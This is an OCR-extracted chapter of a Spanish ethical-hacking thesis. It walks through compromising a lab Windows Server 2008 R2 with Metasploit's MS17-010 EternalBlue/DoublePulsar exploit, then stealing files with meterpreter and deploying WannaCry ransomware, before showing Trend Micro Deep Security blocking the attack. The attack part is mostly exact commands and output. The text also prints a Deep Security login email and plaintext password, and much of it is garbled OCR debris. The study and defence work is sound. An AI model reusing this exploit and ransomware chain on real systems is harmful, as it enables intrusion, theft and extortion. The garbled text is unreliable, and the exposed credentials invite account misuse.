Host is up (©.00059s latency).

PORT

135/tcp

139/tcp

445/tcp

3389/tcp

49152/tcp unknown
49153/tcp unknown
49154/ tcp unknown
49155/tcp o© unknown
49156/tcp ope unknown
49157 /tcp o unknown

. Ad 5

erver 2008::s5p2 C
e cp tmi ft:windows 7::- cpe:
s B8 cpe:/o:microsoft:windows 8.1
ails: Microsoft Win rver 2008 SP2 or Windows 10 or Xbox One, Microsoft Wind
ows 7 SP@ - SP1l, Windows 2008 SP1, windows Server 2008 R2, Windo
8.1 Update 1
Hetwork Distance: 1 hop

ection performed. Plea

Figura 5.4: Informacion del sistema operativo y puertos abiertos del servidor victima.

5.1.3. Hacking ético explotando la vulnerabilidad MS17 — 010.

= Iniciacién la base de datos de metasploit con el comando > #service post-
gresql start.

File Edit View Search Terminal Help
:~# service postgresql start

. ~#

Figura 5.5: Activacion del servicio de base de datos de metasploit.

= Iniciacién metaseploit con el comando > #msfconsole

= Configuracién del auxiliar smb_ms17 010 para determinar que el sistema ope-
rativo del servidor es vulnerable.
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root@kali: ~
File Edit View Search Terminal Help

3Kom SuperHack II Logon

a iary - 297 post
= - 40 encode - 18 nops
- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

Figura 5.6: Activacion de consola metaspolit.

A continuacion se muestran los comandos ejecutados para la configuraciéon del auxiliar
smb_ms17 010 el cual determina si el sistema operativo es vulnerable.

msf>use auxiliary/scanner/smb/smb_ms17 010, comando que realiza la carga
del auxiliar.

msf>show options, comando que muestra las configuraciones que se pueden realizar
en el auxiliar.

root@kali: ~

File Edit View Search Terminal Help
msf > use auxiliary/scanner/smb/smb_msl7_ 010
msf auxiliary( ) > show options

Module options (auxiliary/scanner/smb/smb msl7 010):

Name Current Setting Required Description

CHECK_DOPU true Check for DOUBLEPULSAR on vulnerable hosts
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)
SMBDomain - no The Windows domain to use for authentication
SMBPass no The password for the specified username

SMBUser no The username to authenticate as
THREADS yes The number of concurrent threads

Figura 5.7: Parametros configurables del auxiliar smb_msl7 010
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msf>set rhosts 192.168.10.136, comando para establecer la IP de la victima dentro
del auxiliar.

msf>run, comando para ejecutar el auxiliar el cual mostraré si el servidor victima es
vulnerable por MS17 — 010.

msf auxiliary( ) = set rhosts 192.168.10.136
rh 192.168.10.136
msf auxiliary( ) = show options

Module options (auxiliary/scanner/smb/smb_msl7_010):

Name Curren Description

or DOUBLEPULSAR
8.10.136

no

no

no ) authe at
yes e er of concurrent thre

) > run
- Host is likely VULNERABLE to MS517-818! (Windows
ts (108% complete)

[*] Auxi ; module ution completed
msf auxiliary( =

Figura 5.8: Resultado que muestra que el servidor es vulnerable.

En la imagen anterior se muestra que el servidor es vulnerable contra MS17 — 010 y
se puede continuar con el proceso de ataque.

= Configuracién y ejecucion del exploit “EternalBlue DoublePulsar”.

A continuacion se muestran los comandos para la configuraciéon del exploit
eternalblue doublepulsar y la ejecucién de este para comprometer al servidor victima
con 1P192.168.10.136.

msf>use exploit/windows/smb/eternalblue _doublepulsar, comando que realiza la
carga del ezploit.

msf> set payload windows/x64/meterpreter/bind__tcp, comando que realiza la
carga util del exploit.
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Applications + Places = L] Terminal =

root@Kkali: ~

File Edit View Search Terminal Help

msf = u ploit/windows/smb/eternalblue doublepulsar -
msf exploit( ) = set payload windows/x64/meterpreter/bind tcp
payload => window 4/meterpreter/bind_tcp

msf exploit( ) > 1

Figura 5.9: Carga de exploit Eternalblue doublepulsar.

msf>show options, comando que muestra las configuraciones que se pueden realizar
en el exploit.

root@kali: ~ e 6 6
File Edit View Search Terminal Help

Module options (exploit/windows/smb/eternalblue_doublepulsar):

Name Current Setting

DOUBLEPULSARPATH
Path direc
ETERNALELUEPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/dep
ye Path directory of Eternalblue
PROCESSINJECT lsass.
Name of proc inject into (Change to 1 for x64)

The target address
445
The SMB service port (TCP)
TARGETARCHITECTURE
Target Architecture (Accept x86, x64)
WINEPATH Jroot/.winesdri
yes WINE drive_c path

Payload options (windows/x64/meterpreter/bind_tcp):

Name Current

EXITFUNC proce e Exit technique (Accepted: '', seh, thread, proc

Figura 5.10: Opciones de configuracion del exploit eternalblue_ doublepulsar.

msf>set targetarchitecture X64, comando que establece la arquitectura del siste-
ma operativo victima dentro de las configuraciones del ezploit.

msf>set rhost 192.168.10.136, comando que establece la IP del servidor victima
dentro de las configuraciones del ezploit.

msf>show options, comando que muestra las configuraciones del exploit.
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root@kali: ~ e ® ¢
File Edit View Search Terminal Help

exploit(
rchitecture == x64
ploit( ) set rhost 192.168.10.136
32.168.10.136

show options

odule options (exploit/windows/smb/eternalblue doublepulsar):

Name Current Setting
equired Description

DOUBLEPULSARPATH fusr/share/metasploit-framework/modules/exploits/windows/smb/dep
yes Path directory of Doublepulsar
ETERNALBLUEPATH ‘usr/share/metasploit-framework/modules/exploits/windows,/smb/dep
yes Path directory of Eternalblue

ECT lsass.exe

Name of process to inject into (Change to lsas

192.168.160.136
The target address

\rchitecture (Accepted: x
Jroot/.wine/drive c/
WINE drive c path

Figura 5.11: Configuraciones del servidor victima en el exploit eternal-
blue doublepulsar.

msf>run, carga del ezploit en el servidor victima, la comunicacién se establece y el
servidor queda comprometido.

exploit( > run

192.168.10.136:445 - Generating Eternalblue XML data
bind handler
.10.
2.168.160. - Generating payload DLL for Doublepulsar
2.168.160. - Writing DLL in /root/.wine/drive c/eternalll.dll

2.168.16. - Launching Eternalblue
2.168.10. - Pwned! Eternalblue

2.168.16. - Launching Doublepu ¢
0 (205379 bytes) to 192.168.10.136
[*1 Me ion 1 opened (192.168.10.137:46765 -> 192.168.10.136:4444) at 2017-
11-84 15: ¢
[+] 192.168.10.136:445 - Remote code L fre ol AR = R 2 e,

Figura 5.12: Carga exitosa de ezploit en servidor victima.
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5.1.4. Robo de informacion.

Teniendo al servidor comprometido se puede hacer uso de la informacién con fines
maliciosos, se puede tomar control total del servidor y descargar cualquier archivo
realizando robo y fuga de informacién.

meterpreter>sysinfo, comando para sustraer la informaciéon del sistema operativo.

root@kali: ~ e ® a
File Edit View Search Terminal Help

= run

.108.136:445 - Generating Eternalblue XML data
bind handler
.136 ¥ - @ rating Do pulsar XM
; ilsar
ternalll.dll
ing Eternalblue...
. 136 2> = M Eternalblu
.10.136:445 - Launching Doublepulsar...
tage (2085379 bytes) to 192.168.16@

r ion 1 opened (192.168.16. 6661 -> 192.168.10.136:4444) at 2

.18.136:445 - Remote code executed... 3... 2... 1..

info
WIN-K7PMOP2F81K
: Windows 20088 R2 (Build 7600).
hitecture -
) 1 Languag
Domain : WORKGROUP
Logged On Users : 2
Meterpreter 13 fwindows

Figura 5.13: Informacién del servidor desde el equipo atacante.

Meterpreter>screenshot, comando para tomar una captura de pantalla del servidor
victima.

reenshot

to: /root/pguSPEKi. jpeg

Figura 5.14: Captura de pantalla del equipo victima.

La captura de pantalla se guarda dentro del equipo atacante, en este caso se guardd
con el nombre de pguSPEKiI.jpeg
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ir Home Downloads »

® Recent
93

i Desktop

[ Documents
™
IPG

@ Downloads FeXBilLY.

I Music -2

'] Pict T

O Pictures

B Videos UNVbTZCZ.
ipeg

i Trash

© KaliLive &

+ Other Locations

s T ©

Desktop Documents  Downloads

P o
Licencia.txt Music Pictures

P

ﬂ JPG

Videos pguSPEKL. | servidor.txt
Ipeg

Eternalblue-  FcvRdnDu.
Doublepuls jpeg
ar-Metasp...

Public Templates

smb_ms17_
010.rb

Figura 5.15: Archivo pguSpeki.jpeg con la captura de pantalla del servidor victima.

|< > || « | fr Home Downloads *

pguSPEKi.jpeg

“pguSPEKi jpeg” selected (80.1kB)

Figura 5.16: Imagen que muestra la captura de pantalla del servidor victima.
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meterpreter>cd C:\, comando que ubica al atacante dentro del directorio C:\.

meterpreter> ls, comando que muestra al atacante el contenido del directorio C:\.

Type Last modified

dir

il

dir

4896 dir 5 -

dir 2 3 - - ts and Settings
dir

dir

dir

dir

dir

dir

dir

dir

fil

fif

Figura 5.17: Contenido del directorio C:\.

De acuerdo a la imagen anterior la carpeta “Datos” puede ser una carpeta que contenga
informacién confidencial, ya que es la Gnica que no es una carpeta de sistema.

Meterpreter>cd C:\, ubica al atacante dentro de la carpeta datos del servidor
victima.

Meterpreter>ls, muestra el contenido de la carpeta “Datos”.
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root@kali: ~

File Edit Wiew Search Terminal

=

Help

Practice Guide.

Plan de trabajo implementac

Registro de

fil  2016-68-12 14:00:
Defini in ¢ siguient

Figura 5.18: Contenido de carpeta “Datos” visualizada desde el equipo atacante.

G\ J= |1+ computer - Local Disk (C:) - Datos ~ |2 [ searchpatos

Organize ~ Indudeinlibrary »  Sharewith *  New folder

sl | B &[5 B3

¢ Favorites Date modified Type Name = Size
B Desktop || 2/25/2016 3:19PM Text Document diplomado ventas 1KB
& Downlozds | 3/30/2018 1:19PM Text Document Licendia 1KB

il Recent Places | 272502016 4:53PM FDF File muesta_aztecapdf.pdf 2KB
5 Uibraries || 6/16/2017 1:53PM PDF File osce_12.0_req.pdf 845KB
%] Documents || 732017 1:58PM PDF File OSCEXG-Best Practice Guide.pdf 1,227KE
o) Music | 2715/2016 9:29 AM Text Document pendientes curso 1KB
[ Pictures 7/10/2017 3:43 PM Office Open XML Do...  Plan de trabajo implementacidn SPE 1,484KB
B videos |55 12/14/2015 11:56 AM Rich Text Document  Registro de conversaciones 2016_12_14 11_56 LKB
o Camputer _ 8/12/2016 2:00 PM Rich Text Document  Registro de conversadiones AT_T _Sync Up POC Tr... 1KB
’ %2 6/20/2015 1:08 PM Rich Text Document  Registro de conversadones Implementadidn Traps ... 27K8
g‘l“ Network |55 7/14/2016 5:47FM Rich Text Document Registro de conversaciones Reunién répida 2016_0... 1KB
7/5/2017 12:09 PM Office Open XML Do... ReportePocDespSecurityProfuturo 2,712KB

|| 6/28/2016 2:06 PM Text Document servidor 1KB

=

Figura 5.19: Contenido de la carpeta Datos visualizada desde el servidor victima.

El atacante puede hacer uso de los archivos a su conveniencia, en este caso revisa el
contenido y lo descarga al equipo atacante, esta actividad se denomina fuga o robo de

informacién.
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Meterpreter>cat servidor.txt, muestra el contenido del archivo servidor.txt desde
el equipo atacante.

servidor.txt

NwnDfKQNmeterpreter > |

Figura 5.20: Contenido del archivo servidor.txt visualizada desde el equipo atacante.

8 servidor - Notepad P =] 3
Fle Edit Format View Help
[tp del Hipervysor =]

192.168.78.220
255.255.255.0
192.168.78.254

OSCEL IP 192.168.78.219
OSCE2 IP 192.168.78.218
OSCE3 Ip 192.168.78.217
0SCE4 IP 192.168.78.216

NWnDFKQN

el | & & S| R[S ED

Figura 5.21: Contenido del archivo servidor.txt visualizada desde el servidor victima.

Meterpreter>dowload servidor.txt, descarga el archivo servidor.txt dentro del
equipo atacante.

or.txt
ervidor.

[#] Downloaded 18
[*]

Figura 5.22: Comando que descargar de archivo servidor.txt dentro del equipo ata-
cante.

El atacante puede robar la informacién que desee y almacenarla en su equipo sin que
el administrador del servido se dé cuenta.



o4 Capitulo 5. Hacking Etico.

Applications « Places »  [&] Text Editor v Sat 16:20

< > 4  fr Home Deskiop Q || i= = — T U

- — — _— _—
open « (@] D e |z 000 @ Q

[IP del Hipervysor

5 Downloads Eternalblue- FcvRdnDu.

Doublepuls ipeg
192.168.78.220 AR
255.255.255.0 »— — ——
192.168.78.254 ‘0O 3’ h

Pictures Public Templates

0SCE1 IP 192.168.78.219
0SCE2 IP 192.168.78.218
0SCE3 Ip 192.168.78.217 b
0SCE4 IP 192.168.78.216

smb_ms17_
NWnD fKQN 010.rb
Plain Text w  Tab Width: & Ln1,Coll - INS
W TrasT
© Kali Live -

+ Other Locations

“servidor.txt” selected (184 bytes)

Figura 5.23: Archivo servidor.txt del servidor victima es copiado en el equipo del
atacante.

5.1.5. Cifrado de informacién mediante Ransomware Wannacry.

Posterior a que el atacante toma la informacién del servidor victima y la descarga
a su antojo, puede mostrarse victorioso al realizar un cifrado de informacién con el
objetivo de pedir un rescate por una valiosa cantidad de dinero.

A continuacién los comandos que muestran como el atacante carga el archivo malicioso
de Wannacry y lo ejecuta dentro del servidor victima.

meterpreter>mkadir wannacry, comando que crear el directorio Wannacry dentro
del directorio C:| sobre el servidor victima.

meterpreter>ls, comando que muestra el contenido del directorio Wannacry.
meterpreter>upload ed0lebfbc9eb5bbea’545af4d01bf5f1071661840480439c¢
6e5babe8e080e41aa.exe, es el comando que carga el archivo malicioso Wannacry
desde un directorio del equipo atacante hacia el directorio C:/datos/wannacry y
del equipo victima.
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"~ wannacry
wannacry
C:/datos/wannacry

exist in C:\datos\wannacry
upload f
16 (¢] 439c6e5babesen
[*1 upl ing
40480439c6e5bab
c6e5bab
[*] upload : /root/Downloads/wannacry/ed0lebfbc9eb5bbeas45af4dolbfs5f10

9439c6 a 4laa. -> ed@lebfbc9ebSbbea545af4d@lbf5f107166

Type Last modified Name
100777 /rwxrwxrwx 3514368 fil 17-11-04 17:18:17 -0500 ed0lebfbc9eb5bbea545
aft4delbT571071661840480439c6e5ba p8bed4laa.

Figura 5.24: Carga del archivo malicioso de Wannacry desde el equipo atacante hacia
el servidor victima.

9\_ )vl Qr:nmpurer ~ Local Disk (C:) - Datos - wannaau ¥ |23 [ search wannacry
Organize v Indudeinlibrary v  Sharewith v  New folder = - O @
e Faveris Name = | pate modiied | rype | 5= L
P Desktop CE] ed01ebfbcSebsbbea545afad01bf5f 107166 1840480439cte ShabeBe080e4 1aa 11/4/2017 4:18 PM Application 3,432@
& Downloads

2] RecentPlaces

= Libraries
[F pocuments
o' Music
&= Pictures

[ videos
% Computer

€ Network

[7start

-1 [ s
Figura 5.25: Visualizacién del malware Wannacry en el directorios del servidor victima.
Una vez que el servidor tiene el archivo malicioso de Wannacry, este puede ser eje-

cutado desde el equipo atacante mediante un script, a continuacién se muestra los
resultados de la infeccion.

Al momento de ejecutarse Wannacry en el servidor infectado, éste libera los compo-
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nentes que le ayudaran a escanear y cifrar los archivos dentro del servidor.

& Workstation + - | dn PNCNO =) = | |[F| @ vome (55 KALT_LINUX {5 Windows Server 2008 .. L= =2
i

_—
3
- L

‘g ;.\, | ~ Computer ~ Local Disk (C:) ~ Datos ~ wannacry ~ wannacry ~ - l;:!'}J| Search wannacry

Organize v || Open  New folder
covontes Name Date modified | Type
B Desktop msg 10/29/2017 8:59PM  File folder

& Downloads TaskData 10/25/2017 8:59PM  File folder

<l Recent laces || @Please_Read_Me@ 10/29/2017 8:55PM  Text Document
3 Liraries 5% @WanaDecryptor @ 5/12/20173:22AM  Application
[ @WanaDecryptor @ exe 10/29/20178:59PM  Shortcut

%] Documents
ol Music || 00000000.eky 10/29/20178:59PM  EKY File
(&= Pictures | 00000000.pky 10/29/20178:59PM  PKY Fie
B videos || 00000000.res 10/29/20178:50PM  RES File

[ Ibownry 5/11/20179:13FM  WNRY File

/% Computer

[T ewnry 10/29/20178:59PM  WNRY Fie
B edo1ebfbesebsbbeas45af4d0 1bf5F1071661. . €
5/11/2017453FM  WNRY File
5/3/2017 5:58 PM WNRY File
5/12/2017 3:224M  WNRY File

5/1220173:22AM  Application

€l Networlc

5/1220173:22AM  Application
5/12/2017 3:224M  WNRY File

ed01ebfbc9ebSbbea545af4d01bf5f107166... Date modified: 6/19/2017 9:13PM Date created: 6/19/2017 9:13PM
Application Size: 3.35M8

Windows Server 2008 R

Figura 5.26: Componentes de Ransomware Wannacry.

Wannacry arroja la primera pantalla, alertando al usuario que los archivos del servidor
fueron cifrados y dando instrucciones para que pueda descifrar los archivos con la
aplicaciéon “Wana Dcryptor”.

En realidad el aplicativo Wana Decryptor sin necesidad de que el usuario lo busque se
auto ejecuta segundos después de que la infeccién se realizo, posteriormente se ve una
pantalla explicando lo que paso con los archivos, cémo se pueden recuperar y como
realizar el pago, la solicitud de rescate tiene una vigencia que en principio se debe
pagar 300 bitcoints y aumentard conforme vaya pasando el tiempo.
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L5 KALT_LTNUX (%} Windows Server 2008 ...

[ E| | = 9:01PM
f Sth L "| ‘ES i G i rene

Figura 5.27: Primera alerta que arroja Wannacry en el servidor infectado.

Todos los archivos de la carpeta Datos quedan comprometidos y cifrados con extensién
WNCRY.

Los archivos no son legibles por el usuario debido al cifrado que sufrieron por Wan-
naCry, en la siguiente imagen se muestra el archivo “servidor.txt” que anteriormente
vimos que mostraba IPZs confidenciales de servidores en la red y actualmente con la
infeccién ya no se puede leer el contenido.
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1 | 3] @rome % || Grkar i {59 Windows Server 2008 ...

e Wana DecryptOr
QOoops, your files have been encrypted! narish |

Qué pasé con mi computadora?
Sus archivos importantes estan encriptados.
[Muchos de sus documentos, fotos, videos, bases de datos y otros archivos yano son
laccesibles porque se han cifrado. Tal vez usted estd ocupado buscando una manera de
recuperar sus archivos, pero no pierda su tiempo. Nadie puede recuperar sus archivos
sin nuestro servicio de descifrado.

Payment will be raised on

112017 20:59:42

Puedo recuperar mis archivos?

perar todos sus archivos de forma segura
ly sencilla. Pero no tienes tiempo suficiente.

[Puede descifrar algunos de sus archivos de forma gratuita. Pruebe ahora haciendo clic
en <Decrypt>,

Pero si quieres descifrar todos tus archivos, necesitas pagar.

S5l tiene 3 dias para enviar el pago. Después de eso el precio se duplicara.

|Ademés, si no paga en 7 dias, no podré recuperar sus archivos para siempre.

Tendremos eventos gratuitos para los usuarios que son tan pobres que no podfan pagar
/512017 20:59:42 en 6 meses

Time Left

Your files will be lost on

Time Left ;C6mo pago?
El pago se acepta en Bitcoin solamente. Para obtener més informacién, haga clic en
<About bitcoin>

N = Send $300 worth of bitcoin to this address:
bitcoin

Tear YT | 11567UMMIngoj1pMvkpHijcRAfINX]6LFLN
et ol Check Payment

Windows Server 2008 R2 Datacente}
on expir

S I == P ao S

Figura 5.28: Pantalla de solicitud de rescate de archivos infectados por Wannacry.
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ari, 2

Vod para slampeae,
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e i
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00 am
8l

51 pago, haga clic sn <Chack Pay
MT dee lunes a viernes
wad o pugo, posdn e

ant>, Major hora para consultar: 500 a

zar i descifrar sai archived In

= = Send § rih of bitcodn io this address:
bitcoin

ey 1epTuMMngej1 pMyvkpHijcRatNXELILY E

Decrypt

Figura 5.29: Explicacion del pago y recuperacion de archivos cifrados por Wannacry.
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Figura 5.30: Archivos cifrados con extension WNCRY.

5 =1
Jv‘ ~ Computer + Local Disk (C:) ~ Datos ~ v (&3 [ serchpatos @

Organize v  Indudeinlibrary v  Sherewith v  New foder = - @
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Figura 5.31: Contenido de archivo servidor.txt no legible para el usuario.

Todos los archivos del servidor quedaron cifrados, aqui hay dos opciones de recupe-
rarlos.

1. Tener un respaldo donde facilmente podria recuperar la informacién

2. Pagar el rescate, que no se recomienda porque nadie asegura que la informacion
podra recuperarse o descifrarse
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5.2. FASE 2 Con agente de Deep Security y blindaje a las
aplicaciones criticas

Para la fase 2 de esta prueba se configuro el servidor victima utilizado en la fase 1
dedicado a respaldo de informacién y desde un equipo remoto el atacante explota
la vulnerabilidad MS17 — 010, en el servidor se realizé6 un anélisis previo con un
escaneo de recomendaciones aplicando parches virtuales para proteger las aplicaciones
criticas logrando mitigar la vulnerabilidad MS17-010 y el bloqueo hacia el atacante,
obteniendo bitacoras y resultados satisfactorios de prevencion sobre el ataque dirigido
al servidor.

En la siguiente imagen se muestra el flujo del ataque y el bloqueo realizado por Trend
Micro Deep Security.

oo
4
=
E MS17-010
. Vialsass.exe
&
Computadora Kali-linux (eguipo atacante)

)

-,
TREND MICRO 1
SMART @
PROTECTION
NETWORK"™

Deep Security Manager

Nlertas, reportes ygestion
Figura 5.32: Flujo de ataque y proteccion con Deep Security.
Detalles de los equipos implementados en la fase 2, se explican a continuacién:
Equipo Atacante.
= Versién de sistema operativo: Kali-Linux.
= [P:192.168.10.137
= Vulnerabilidad Explotada: M S17 — 010 CVE 2017 — 0144.
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= exploit utilizado: Fternal Blue.

Equipo Victima.

= Version de sistema operativo: Windows Server 2008 R2.
= [P:192.168.10.136
= Nombre del equipo: WIN-K7PMQP2F81K.

= Rol del Servidor: Utilizado para respaldo de informacién confidencial.
Deep Security.
» Version de Deep Security Manager (DSM): Deep Security as a Services ( servicio

alojado en la nube)

= Datos de acceso:

URL=https://app.deepsecurity.trendmicro.com:443 /SignIn.screen?confirmation=63CFF79B-
C159-0DE9-6A72-23057DDD63D3

Nombre de la cuenta:Diversiones Hermanos Mota

Nombre de usuario:motaadriang@gmail.com

Contrasena:m0t4mot4

» Version de agente Deep Security (DSA):10.0.0.2094

5.2.1. Instalacién de Deep Security Agent.

Para robustecer la seguridad del servidor victima se realiza la instalacion de DSA, en
principio desde la consola se descarga el paquete de instalacién.
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lall==]
8 Trend Micro Deep Security X\
<« C ‘ & Seguro | https://app.deepsecurity.trendmicro.com/Application.screen?#dashboard o B ﬁ| H

Download Agents

9.0.0.883 Agent-Windows-4.U.U-B83.1386 ms|
(HA- s

J A Microsoft Windows (64 bit)

10.1.0.357 Installer from Agent-Windows-10.1.0-357.x86_64.zip
10.1.0.356 Installer from Agent-windows-10.1.0-356.x86_64.zip
10.1.0.205 Installer from Agent-Windows-10.1.0-205.x86_64.zip
10.0.0.2551 Installer from Agent-Windows-10.0.0-2551.x86_64.zip
10.0.0.2548 Installer from Agent-Windows-10.0.0-2548.x86_64.zip
10.0.0.2470 Installer from Agent-Windows-10.0.0-2470.x86_64.zip
10.0.0.2413 Installer from Agent-Windows-10.0.0-2413.x86_64.zip

10.0.0.2358 Installer from Anent-Windows-10 0 0-2358 x86 64 7in

Figura 5.33: Descarga de DSA desde el DSM.

El paquete de instalacion se guarda en el servidor victima y se ejecuta con privilegios
de administrador para su instalacion.
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Figura 5.34: Pantalla inicial de instalacién DSA.
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Figura 5.35: Proceso de instalacién DSA.
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Figura 5.36: Pantalla final de instalacion DSA.
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Posterior a la instalacién se genera un Script desde el DSM para que se logre la
activacion del DSA del servidor victima, el script debe ser ejecutado en PowerShell y
con privilegios de administrador.

By Trerd Micrc Desp Security X

“ C | & Sequr ttps:/ | app.deepsecurity. trendmicre,com. o B 1

Deployment Scripts

" -append

i

1
Copyright (C> 288% Microsoft Corporation. All rights reserved.

BS C:sindousssystond2> & SEnu:Progranfiles*Irend Misro\Desp Soourity figentidsa soncrol”
HTTP St.

ndou-\«y-:em32) $Enu:ProgranFiles"™ Irend Micro\Deep Security figentdsa control! /zagents .deepsecurity. t|
I T nant I Do ESCTPIOD G150 DES BA7D 530S TTID6 IS Sraken: DISAEIAT SFed GBLS 5390 CPUICrasEAIRY

fActivation will be re-attempted 3@ time(s) in case of failure
dsa_contro
HITP Status: 208 — OK

osponse :
Rttemptlng to connect to https://agents.deepsecurity.trendnicr .t:mn 443/
SSL handshake completed successfully - initiating command sess
Connected wich ECDHE-RSA-AES128-5HAZSE to peer ot T o A AT e Eam
Receive stInfo’ command from the manager.
Roceived a ’GotHostInFo’ command From the manager.
Received a ’GetHostInfo’ command from the manager.
Rece ived etDSHCert’ comnmand from the manager.
Received a ’SetAgentCredentials’ command from the manager.
Received a ’GetfgentEvents’ conmand from the manager.
Receiuved a ‘GethostInfo’ command from the manage:r.
Received
Received
Rece ived
Rece ived
Rece ived
Received
Received
Received
Received

comnand from the manager.
*SetSecurityConf iguration’ command from the managew.
’GetAgentEvents’ conmand from the manager.
’GetAgentStatus’ conmand from the manager.
*GetInterfaces’ conmand from the manager
*GetAgentEvents’ conmand fron the manage
*SetSecurityConf iguration’ command from the manager.
*GetAgentEvents’ conmand from the manager.
’GetAgentStatus’ conmand from the manager.

Comnand session conpleted.

PS C:\Mindows\system32> _

a
PRI Y AN RIS

Figura 5.38: Script ejecutado desde Powershell en el servidor victima.
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Posterior a le ejecucion del Script se valida dentro del servidor que el DSA se encuen-
tre correctamente instalado y en estado “Running”, también es importante validar el
controlador (filter driver) se encuentre instalado en tarjeta de Red, el controlador es
el complemento que sirve para dropear el trafico malicioso dirigido a explotar vulne-
rabilidades protegidas por las reglas inteligentes de Deep Security.
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W Lo Inspectcr Not Capabie
\Components
; o S6Tup 8 FoUter of ACCESS panl.
bel - o
¥l - et Protocol Verson 4 [ cannecter
# i Lk -Layer Topology Discow ver
A e L spcioay Discovery Flodpons
Livk-Layer Topakogy Diacovery Flessponder —
sl Uratsl
Dmscrpton
Holfic Trend Micrs: D3A MOIS 6 x Fiter Dever
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Figura 5.39: DSA y Filter Driver instalados correctamente en el servidor victima.

Desde el DSM se observara el servidor victima conectado y administrado en estado
“Management (Online)”.

& C | @ Essequro | https:/app.deepsecurity.trendmicro.com, 2 dll e |

‘ Deep Security Diversiones Hermanos Mota ~ | motaadriang@gmail.com + | &* News ~ | (3) Help | £ Support ~ |

Dashboard ~ Actions  Alerts  Evenis&Reports Computers  Policies  Administration

BN Smart Folders

Computers  With sub-Groups ~ ByGroup ¥ v
B Computers
Add ~ [ Delete (=) Details. 4 Actions ~ [=) Events ~ Begot + [ Columns
NAME ~ DESCRIPTION PLATFORM  POLICY STATUS
+ Computers (2)
B WINK7PMOP2FETK Microsaft Win... None Managed (Online)

Figura 5.40: Servidor victima gestionado por Deep Security.
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5.2.2. Activaciéon de médulos de proteccion.

Desde el DSM se habilitan y configuran los médulos de proteccion Antimalware, Fi-
rewall, Intrusion Prevention, Logs inspeccion.

Durante el despliegue de los médulos en el DSA, desde el DSM se observara que se
encuentra la instalacién pendiente.

% WIN-KTPMOP2FIK - Google Chrome -

@ Es seguro | https//app. deepsecurity.trendmicro.com/Com;

Computer: WIN-K7PMQP2F81K

B Overview General | Actions | System Evenis
© AntiMalware Hostname: NKIPMQPOFBTH (Last 1P Used: 192.168.25.89)
@ Web Reputation Display Name:
© Firewall Description:
& Intrusion Prevention s
Platform Micrasoft Windows Server 2008 R2 (64 bit) Build 7600
@ Integrity Monitoring
Group: Computers v
@ Loginspection
Policy: None v
Application Control
Asset Importance None -
M Interfaces
4 vownload Security Updates From:  primary Tenant Relay Group -
£¥ Settings
@ Updates @  Agent
Managed (Online)
G Overrides
© AntiMalware Off, installation in progress, no configuration
@ webReputation Off, not installed
© Frewall Off, installation pending, no rules
© intrusion Prevention Off, Prevent, installation pending, no rules
@ Integrity Monitoring Off, installation pending, no rules
@ Loginspection Off, installation pending, no rules
Application Control Off,not installed
Qnline Yes -
.. JE

Figura 5.41: Proceso de instalacién de moédulos sobre el DSA.

5.2.3. Escaneo de recomendaciones y aplicaciéon de politicas.

Posterior a la instalacién de los modulos se comienza por configurar el Firewall, en
este ejemplo no se implementan politicas de bloqueo sobre puerto y protocolo pero
si se activa el reconocimiento de escaneos, esta propiedad del médulo de Firewall nos
ayudaré a prevenir y bloquear escaneos no reconocidos como por ejemplo: escaneo de
Puertos o Figerprint.
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B WIN-KTPMQP2F8IK - Google Chrome

@ Esseguro | https://app.deepsecurity.trendmicro.com/C

Computer: WIN-K7PMQP2F81K

B Overview General Interface Isolation  Reconnaissance ~ Advanced Firewall Events
© Anti-Malware Reconnaissance Scans
@ Web Reputation Reconnaissance Scan Detection Enabled:  Yes M
© Firewall
Computer 0S Notify DSM
v @ Block Traffic: 30 Minutes ~
© Intrusion Prevention Fingerprint Probe Immediately
Notify DSM
@ Integrity Monitoring @ NeworkorPortscan @ ’ Block Traffic: 30 Minutes ~
Immediately
Log Inspection
(0 Leylisy Notify DSM
¥ TCPNullScan v Block Traffic: 30 Minutes ~
Application Gontrol Immediately
Notify DSM
M Interfaces ¥ TCPSYNFIN Scan 5] Block Traffic: 30 Minutes ¥
q Immediately
£ settings Notify DSM
@ TCPxmas Scan @ Block Traffic: 30 Minutes ~
@© Updates Immediately
% Overrides Computers/Networks on which to .
Default (All v
perform detection:
Do not perform detection on traffic .
Default (None) -
coming from

Figura 5.42: Bloqueo de 30 minutos sobre trafico de escaneos no reconocidos.

Para ejecutar el escaneo de recomendaciones con el objetivo de detectar las vulnera-
bilidades dentro del servidor, se presiona click derecho en el servidor victima, poste-
riormente acciones y escaneo de recomendacion.

c) IREND. | Deep Security Diversiones Hermanos Mota ~ | motaadriang@gmail.com ~ | & News ~ | |

Dashboard  Actions  Alerts  Events & Reports Computers Policies  Administration

B3 Smart Folders 3 Check Status

Computers  with sub-Groups = By Group
[ Computers @, Deactivate

Search:  Status Light ~ || Equals = Critical [Red]
B Send Policy

+ Add ~ M Delete...  [=] Details... 4 Actions ~ [5] Events ~ B Export ~ B Cancel "Send Policy”

NAME ~ DESCRIPTION PLATFORM @ Download Security Update

~v Computers (1) '@ Roll back Security Update

i WIN-K7PMQP2F81K Microsoft Wir 4% Clear Warnings/Errors

Select All (1) .
Bl Upgrade Agent Software...

[ B Export Selected 1o CSV.
[y, Scan for Recommendations

B Export Selected to XML (For Import)...
I Clear Recommendations

4 Actions ¥ | & Quick Scan for Malware
[E) Events ¥ | & Full Scan for Malware
@ Delete 0, Scan for Integrity

@ Rebuild Integrity Baseline
[ Details...
4 Move To Group

B Assign Policy...
&. Assign Asset Value

@ Assign Relay Group

Figura 5.43: Escaneo de recomendaciones.

Cuando concluye el escaneo de recomendaciones el DSM asigna las politicas al DSA en
el servidor victima, en este caso se encontraron 748 vulnerabilidades para las cuales se
asignaron 748 reglas inteligentes que mitigan la vulnerabilidad con el parcheo virtual.
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Computer: WIN-K7PMQP2F81K

E Overview General  Actions  System Events
© Anti-Malware Hostname: WIN-K7PMQP2FE1K (Last IP Used: 192 168.0.129)
@ Web Reputation Display Nam

© Frewsl

Intrusion Prevention

e

Platform
@ Integrity Monitoring s
@

Log Inspection
Policy None v
Application Control
M Interfoces
L [ e—— Security Updates From Primary Tenant Relay Group -
3 Settings
@ Updates
24 Overrides

On, no configuration

Off. not instalied
©n, no rules
On, Prevent, no rules

Off, installation pending, no rules

800000 ;

Off, installation pending, no rules

Figura 5.44: Proceso de escaneo de recomendaciones.

Adicional a las reglas contra vulnerabilidades se asignaron 34 reglas sobre los modu-
